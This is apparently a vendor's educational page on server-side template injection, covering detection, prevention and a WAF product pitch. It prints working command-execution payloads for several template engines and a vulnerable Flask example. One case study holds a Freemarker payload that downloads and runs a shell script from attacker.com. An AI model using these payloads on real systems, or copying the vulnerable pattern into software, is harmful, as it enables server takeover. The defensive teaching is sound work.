Documentation

Server-Side Template Injection (SSTI)

CRITICAL SEVERITY REMOTE CODE EXECUTION TEMPLATE VULNERABILITY

Overview

Server-Side Template Injection (SSTI) occurs when attackers inject malicious code into template engines, causing the server to execute arbitrary code during template rendering.

SSTI Illustration

In One Sentence

Tricking the server's template engine (the system that generates dynamic web pages) into executing attacker's code instead of just displaying text.


Simple Explanation

Real-World Analogy

Imagine you run a mail-merge system for personalized letters. You create a template:

Normal Template
Dear {{customer_name}},
Thank you for your order of {{product}}.
Normal Usage
Input: customer_name = "John", product = "Laptop"
Output: Dear John, Thank you for your order of Laptop. ✓
SSTI Attack
Input: customer_name = "{{7*7}}", product = "Laptop"
Output: Dear 49, Thank you for your order of Laptop.

Wait... the system calculated 7*7 = 49!
This means it's executing code, not just replacing text!

The Escalation

Input: customer_name = "{{7*7}}"
Output: 49
Conclusion: Template engine executes expressions!
Input: customer_name = "{{system('cat /etc/passwd')}}"
Output: root:x:0:0:root:/root:/bin/bash...
Conclusion: Can execute system commands!

The Problem

The template engine treats everything as instructions, not just plain text to display.


How SSTI Attacks Work

Attack Progression

Find where user input affects template output

Test with expressions to identify which template engine is being used

Use template-specific syntax to access dangerous functions

Read files, execute commands, or establish reverse shell

Vulnerable Application Example

python# Python/Flask with Jinja2 - DANGEROUS
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/greet')
def greet():
    name = request.args.get('name', 'Guest')

    # DANGEROUS: User input directly in template!
    template = f"<h1>Hello {name}!</h1>"
    return render_template_string(template)

Template Engine Attacks

1. Jinja2 (Python/Flask/Django)

Test Payloads
{{7*7}} → 49
{{7*'7'}} → 7777777
{{config}}
Identification

If {{7*'7'}} returns 7777777, it's likely Jinja2

2. Twig (PHP/Symfony)

{{7*7}} → 49
{{7*'7'}} → 7777777
{{_self}}
php# Register system function as filter
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# Alternative
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}

3. Freemarker (Java)

${7*7} → 49
${7*'7'} → Error (type mismatch)
java<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("id") }

# Multiple commands
${ ex("cat /etc/passwd") }

4. ERB (Ruby/Rails)

<%= 7*7 %> → 49
<%= 7*'7' %> → 7777777
ruby<%= system("whoami") %>
<%= `id` %>
<%= %x(uname -a) %>

5. Pug/Jade (Node.js)

#{7*7} → 49
#{7*'7'} → NaN (JavaScript behavior)
javascript#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('whoami')}()}

6. Smarty (PHP)

{$smarty.version} → Shows version
{7*7} → 49
php{php}echo `id`;{/php}

{php}system('whoami');{/php}

Real-World Examples

Case Study 1: Uber (2016)

Jinja2 SSTI in internal admin tool

  • Access to internal systems
  • Exposure of customer data
  • Database credentials compromised
  1. Admin panel used Jinja2 templates
  2. User input not properly sanitized
  3. Attacker injected template code
  4. Gained access to internal systems
  5. Extracted sensitive data

Case Study 2: Shopify (2017)

SSTI in email template customization

  • Potential RCE on Shopify servers
  • Access to merchant data
  • $25,000 bug bounty paid
liquid# Shopify uses Liquid template engine
# Attacker found SSTI in custom email templates
{{shop.name}} # Normal
{{shop | dump}} # Information disclosure

Case Study 3: Enterprise CMS Platform (2019)

Freemarker SSTI in content management system

  • Complete server takeover
  • Access to all client websites
  • Database credentials exposed
java<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh") }

Prevention & Mitigation

1. Never Use User Input in Templates

Keep template code separate from user data

python# DANGEROUS: User input in template string
from flask import request, render_template_string

@app.route('/greet')
def greet():
    name = request.args.get('name')
    template = f"<h1>Hello {name}!</h1>"  # VULNERABLE!
    return render_template_string(template)

2. Use Sandboxed Template Environments

Restrict what functions and classes templates can access

pythonfrom jinja2.sandbox import SandboxedEnvironment

# Create sandboxed environment
env = SandboxedEnvironment()

# Render template safely
template = env.from_string('Hello {{ name }}!')
output = template.render(name=user_input)

3. Input Validation

Whitelist allowed characters and validate input format

pythonimport re

def sanitize_template_input(user_input):
    # Only allow alphanumeric and basic punctuation
    if not re.match(r'^[a-zA-Z0-9\s\.,!?-]+$', user_input):
        raise ValueError("Invalid characters in input")

    # Block template syntax
    dangerous_patterns = [
        '{{', '}}', '{%', '%}', '${', '<#', '<%', '#{'
    ]

    for pattern in dangerous_patterns:
        if pattern in user_input:
            raise ValueError("Template syntax not allowed")

    return user_input

@app.route('/greet')
def greet():
    name = request.args.get('name')
    try:
        safe_name = sanitize_template_input(name)
        return render_template('greet.html', name=safe_name)
    except ValueError as e:
        return str(e), 400

4. Use Logic-Less Templates

Use template engines that don't allow code execution

javascript// Mustache doesn't execute code, only substitutes values
const Mustache = require('mustache');

const template = '<h1>Hello {{name}}!</h1>';
const data = { name: userInput };

// Safe: Mustache escapes and only substitutes
const output = Mustache.render(template, data);

5. Monitor and Log Template Rendering

pythonimport logging

class MonitoredTemplate:
    def render(self, template_string, context):
        # Log template rendering
        logging.info(f"Rendering template: {template_string[:100]}")

        # Check for suspicious patterns
        suspicious = ['__class__', '__mro__', 'import', 'exec', 'eval']
        for pattern in suspicious:
            if pattern in template_string:
                logging.warning(f"Suspicious pattern detected: {pattern}")
                send_security_alert(template_string)

        return template.render(context)

Detection & Testing

Detection Payloads

{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
{7*7}
${{7*7}}

Expected output: 49 indicates SSTI

Python (Jinja2)
{{7*'7'}} → 7777777 (string multiplication)
PHP (Smarty/Twig)
{7*7} → 49 (Smarty)
{{7*'7'}} → 7777777 (Twig)
Java (Freemarker)
${7*7} → 49
Ruby (ERB)
<%= 7*7 %> → 49
Node.js (Pug)
#{7*7} → 49

Testing Tools

TPlmap
bash# Automated SSTI scanner
tplmap -u 'http://target.com/page?name=test'

# Specify parameter
tplmap -u 'http://target.com/page' --data 'name=test'

# With session cookie
tplmap -u 'http://target.com/page?name=test' --cookie='session=abc123'
Manual Testing
bash# Test common injection points
curl "http://target.com/greet?name={{7*7}}"
curl "http://target.com/page?title=${7*7}"
curl -X POST http://target.com/comment -d "text=<%= 7*7 %>"
Burp Suite
Use Intruder with SSTI payload list:
- Position: username={{7*7}}
- Payload list: template-injection-payloads.txt
- Look for "49" in responses

Security Checklist

Development

  • [ ] Never concatenate user input into template strings
  • [ ] Use template files with variable substitution
  • [ ] Enable auto-escaping in template engine
  • [ ] Use sandboxed template environments
  • [ ] Validate and sanitize all user input
  • [ ] Block template syntax characters
  • [ ] Consider logic-less templates (Mustache)
  • [ ] Review all template rendering code

Infrastructure

  • [ ] Run application with minimal privileges
  • [ ] Use containerization for isolation
  • [ ] Implement Web Application Firewall (WAF)
  • [ ] Monitor for SSTI attack patterns
  • [ ] Keep template engines updated
  • [ ] Regular security audits
  • [ ] Penetration testing

Testing

  • [ ] Test all user input points for SSTI
  • [ ] Try multiple template syntax variations
  • [ ] Test with automated tools (TPlmap)
  • [ ] Verify sandboxing effectiveness
  • [ ] Check for information disclosure
  • [ ] Test with different payload encodings

Key Takeaways

Primary Defenses

  1. Never use user input in templates - Use template files with variable substitution
  2. Enable sandboxing - Restrict template engine capabilities
  3. Validate input strictly - Block template syntax characters
  4. Use logic-less templates - Consider Mustache or similar
  5. Monitor template rendering - Detect suspicious patterns

Critical Points

  • SSTI can lead to complete server compromise (RCE)
  • Each template engine has specific exploitation techniques
  • Auto-escaping doesn't prevent SSTI, only XSS
  • Sandboxed environments can sometimes be bypassed
  • Regular expression validation is not foolproof

Best Practices

  • Separate template code from user data completely
  • Use template engines with security in mind
  • Implement defense in depth with multiple layers
  • Regular security testing and code review
  • Keep template engines updated with security patches

References & Resources

Official Documentation

Testing Tools

Learning Resources


Layerd AI Protection

Layerd AI Cloud WAF prevents SSTI attacks:

  • Pattern detection - Identifies template injection syntax
  • Behavioral analysis - ML detects abnormal template rendering
  • Real-time blocking - Prevents malicious template execution
  • Zero-day protection - Catches novel SSTI techniques

Learn more about Layerd AI Protection →


Remember: Server-Side Template Injection is a critical vulnerability that can lead to complete server compromise. Always separate template code from user data and use secure template rendering practices.

Never trust user input in template contexts!


Last updated: November 2025